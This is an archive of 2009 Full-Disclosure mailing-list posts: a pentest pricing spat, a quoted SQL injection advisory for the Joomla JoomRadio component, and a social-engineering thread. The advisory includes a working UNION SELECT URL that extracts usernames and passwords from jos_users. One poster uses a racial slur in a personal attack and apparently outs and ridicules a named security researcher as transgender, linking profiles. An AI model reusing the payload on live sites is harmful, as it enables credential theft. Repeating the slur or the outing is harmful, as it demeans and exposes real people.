exactly, is that an insane pricing scheme? If you think about it for a bit, it actually makes quite a bit of sense - Snosoft needs to prove they're in fact good enough to be able to find the holes you're paying them to find, or it doesn't cost anything. That *sure* as hell beats paying $100K for a pen test, and then finding out that you hired a bunch of asswipes who can't find holes. -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmjC5oACgkQhNp8gzZx3siY9AP+LS6gurd2DAYXcVz7rcoEYyW7WPi1 vacDlU29Pi0bdWlN8XVCJ9Jw3zl+xRvT+xDQ8JJxs0hAYppG1DEvMUME3FyfN/qu5PPx /VonUsg/qjZQYIBwT/oKy0gmU0a9SPYa2W2s938u9o8CZjp/LlFXjvniTqfgibePxlzS 30Cc2K4= =XaXY -END PGP SIGNATURE- -- Become a medical transcriptionist at home, at your own pace. http://tagline.hushmail.com/fc/BLSrjkqfMmgPsc1ACbKAlkH0s9o9afLd9TQlpvcxMLNCnIqFXRQTMRoCfj6/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SCADASEC] 11. Re: SCADA Security - Software fee's
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mr. Kletnieks, This list's lack of usual moderation does not mean your opinion is either respected, welcomed, or desired by anyone. Like my father always says, Give a nigger a podium and he'll rap for anyone. Give a white man a podium and he'll beat his chest like a primate and spew mindless propaganda to anyone that will listen with the hope that the senseless banter will impress those less intelligent than he. And you, my friend, are not black. - -bm On Sat, 21 Feb 2009 21:30:01 -0500 valdis.kletni...@vt.edu wrote: On Fri, 20 Feb 2009 09:24:29 EST, Smoking Gun said: Ironically, your own quotecompanyquote offered penetration testing services at the insane pricing scheme of we'll pentest0r joo for free and if we find something you can pay us to find other holes!. And how, exactly, is that an insane pricing scheme? If you think about it for a bit, it actually makes quite a bit of sense - Snosoft needs to prove they're in fact good enough to be able to find the holes you're paying them to find, or it doesn't cost anything. That *sure* as hell beats paying $100K for a pen test, and then finding out that you hired a bunch of asswipes who can't find holes. -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmhivgACgkQhNp8gzZx3sjGjwQAr0ZyhPVzovGihp1qg2YibAZL3qCr a8X+eU0+AHRHMYOg0sUTchiO6C71HYJuO5RXjjpvEn/hZ2iVZJtBOlQzc9Qe4T6FnzQh sJBglaLzNPZ76MbjSt3NWYAywdGTwaBewP9pS2uQ5o//4TG2TYnk0//LOEhlczr382iq vJ+hFVU= =kvvJ -END PGP SIGNATURE- -- Jumpstart your career with Six Sigma certification from top programs. http://tagline.hushmail.com/fc/BLSrjkqmwwuXrPPSCBMQsL6SmPWO0ctjPRzbD77FbGGeXcOSfIH6X4LFJZC/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Joomla Component com_joomradio SQL Injection
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear gov-boi, Please follow the established etiquette of this list by linking to content on archive.org to establish credibility for alleged historic content. Linking to obscure post-dated content on your own Internet site, that easily can be faked, isn't the best way to attempt legitimizing your darknet archival endeavours. Many on this list are sceptical about your claim regarding the previous discovery of this important computer security issue, and to be quite frank find your attempts to discredit the king of gods' effort to secure this critical piece of Internet infrastructure known as the joomla joomradio something-or-other. Mr. Zeus - on behalf of my country I would like to express our sincere thanks for reporting this severe issue, whether or not it was previously and independently discovered and reported, and hope you continue to contribute your research to this list of full disclosure and helping to make the Internet a safer place for everyone. I would like to remind everyone that this list is for disclosure of information security materials and that the fascist tactics used by the packetstorm/#darknet crowd as they attempt to once again monopolize the dissemination of information security materials is not appreciated here. All the best to you and yours, - -bm On Wed, 18 Feb 2009 17:21:10 -0500 Packet Storm pac...@packetstormsecurity.org wrote: Already discovered in June, 2008. http://packetstormsecurity.org/0806-exploits/joomlajoomradio- sql.txt bc9c589fca40fce9a4f4484333f207b5 The Joomla Joomradio component version 1.0 suffers from a remote SQL injection vulnerability. Authored By a href=mailto:His0k4.hlm[at]gmail.com;His0k4/a On Wed, Feb 18, 2009 at 07:32:02PM +0100, 0o_zeus_o0 wrote: ### # Advisory X # Title: Joomla Component com_joomradio SQL Injection # Author: 0o_zeus_o0 ( Arturo Z. ) # Contact: arturo_zamor...@hotmail.com # Website: www.securitybroken.com # Date: 18/02/09 # Risk: Medium # Vendor Url: http://ajaxportal.eu/ # Affected Software: JoomRadio # autor script:author XrByte i...@exp.ee, Grusha gru...@feellove.eu ## # #Example: ## #htp:// victimurl.com/pathjoomla/index.php?option=com_joomradiopage=show_r adioid=-1UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),u ser() FROM jos_users-- # ## #greetz: # # original advisorie: http://www.securitybroken.com ## ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmdeSAACgkQhNp8gzZx3sjQnQP8DIyQpyqWn7ItQxusiG4RvifzrUq3 MyvT2uaVgD6bagNiQo2xpBlxjfAC91ikI18ahveZUX2t1NGwvXhgE7XN4TD531cAGXAU e4D1z+rGmFqfthaDN73PgNr6kHme1TLPszzV7SxzCiZBPaIJZxVKPP0klhZW2Ma5pdOw DXO/Xkw= =bmhh -END PGP SIGNATURE- -- Find schools offering psychology programs online. 3 easy steps! http://tagline.hushmail.com/fc/BLSrjkqkOa4cAYuqAs2Rwg48EsDoRE7w8wplgXVKoZaAmTZ8jNnakTcdLkp/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Facebook from a hackers perspective
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Attentive Dialtone, Are you suggesting there is something wrong with my feelings for her? - -bm On Fri, 13 Feb 2009 11:28:22 -0500 Adriel T. Desautels ad_li...@netragard.com wrote: Sounds to me like you have a crush on Eric Loki Hines. On Feb 13, 2009, at 10:12 AM, bobby.mug...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear ATD, Because most of the targeted employees were male between the ages of 20 and 40 we decided that it would be best to become a very attractive 28 year old female. Your transgender technical attack was pioneered and perfected in 2008 by information security expert Eric Loki Hines - why are you taking credit for a lesser version of his groundbreaking work, and insisting on originality? 1. Eric Loki Hines is a security expert and presents at BlackHat http://www.blackhat.com/html/win-usa-01/win-usa-01- speakers.html#Loki 2. Eric Loki Hines updates his linkedin profile http://www.linkedin.com/in/alissaknight 3. Alissa Knight starts softcore pornography site http://www.alissaknight.com 4. Snosoft claims to have invented social engineering. Please give credit where credit is due. I await your response with masterfully baited breath. - -bm On Fri, 13 Feb 2009 09:45:42 -0500 Adriel T. Desautels ad_li...@netragard.com wrote: That is awesome! I am going to add that to the blog post :) On Feb 13, 2009, at 5:41 AM, Michael Painter wrote: - Original Message - From: Adriel T. Desautels Sent: Thursday, February 12, 2009 6:23 AM Subject: Facebook from a hackers perspective Lets start off by talking about the internet and identity. The internet is a shapeless world where identities are not only dynamic but can't ever be verified with certainty. As a result, its easily possible to be one person one moment, then another person the next moment. This is particularly true when using internet based social networking sites like Facebook (and the rest). http://www.unc.edu/depts/jomc/academics/dri/idog.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Adriel T. Desautels ad_li...@netragard.com -- Subscribe to our blog http://snosoft.blogspot.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkmVjc4ACgkQhNp8gzZx3sjtogP7BH0DqiXnpd2uJd23WzCb5ywr6Dd L rsRcTuR1UExC7LKNnBcEDbcxyO+w+uygxBV2EpoQvi81WQEnTqUOsBuDNCKctNy/L8X 7 Lbj76e3u+lx0KcVYwZcl+lPUlVswjV3xuiqMQHcpy3XyMdyqcMsQa2oW0prUXgLjrl/ J lW2CbzA= =agYk -END PGP SIGNATURE- -- Thinking of a life with religion? Click here to find a religious school near you. http://tagline.hushmail.com/fc/PnY6qxulxoTwAKHGR31YqHEvinrD0DrkWQo0 LWV2XOLex2vtyVhFc/ Adriel T. Desautels ad_li...@netragard.com -- Subscribe to our blog http://snosoft.blogspot.com -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmVoUYACgkQhNp8gzZx3sh9pwP+On15bpAdMXbxMlt//VVFNkt54BT+ QhEoIU1CX2VVZ7AQ9rbdbabAr7zjfq9FFncYflwnlE4c9rU0i6AbIG3ayoBILNmePreN MX+Qr/lv8CJwGQ5+NuTxeZ88ECKxtaOLc56S/HKDceRNSolfuEhEPCOpBJNWl+djAwFp SHxoFa0= =TPVo -END PGP SIGNATURE- -- Start your own international business. Click now! http://tagline.hushmail.com/fc/PnY6qxvJn1zAokeGVNMUqaCkouwf6Aoz3JqEf1r1rUUQTZuHPP6ic/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
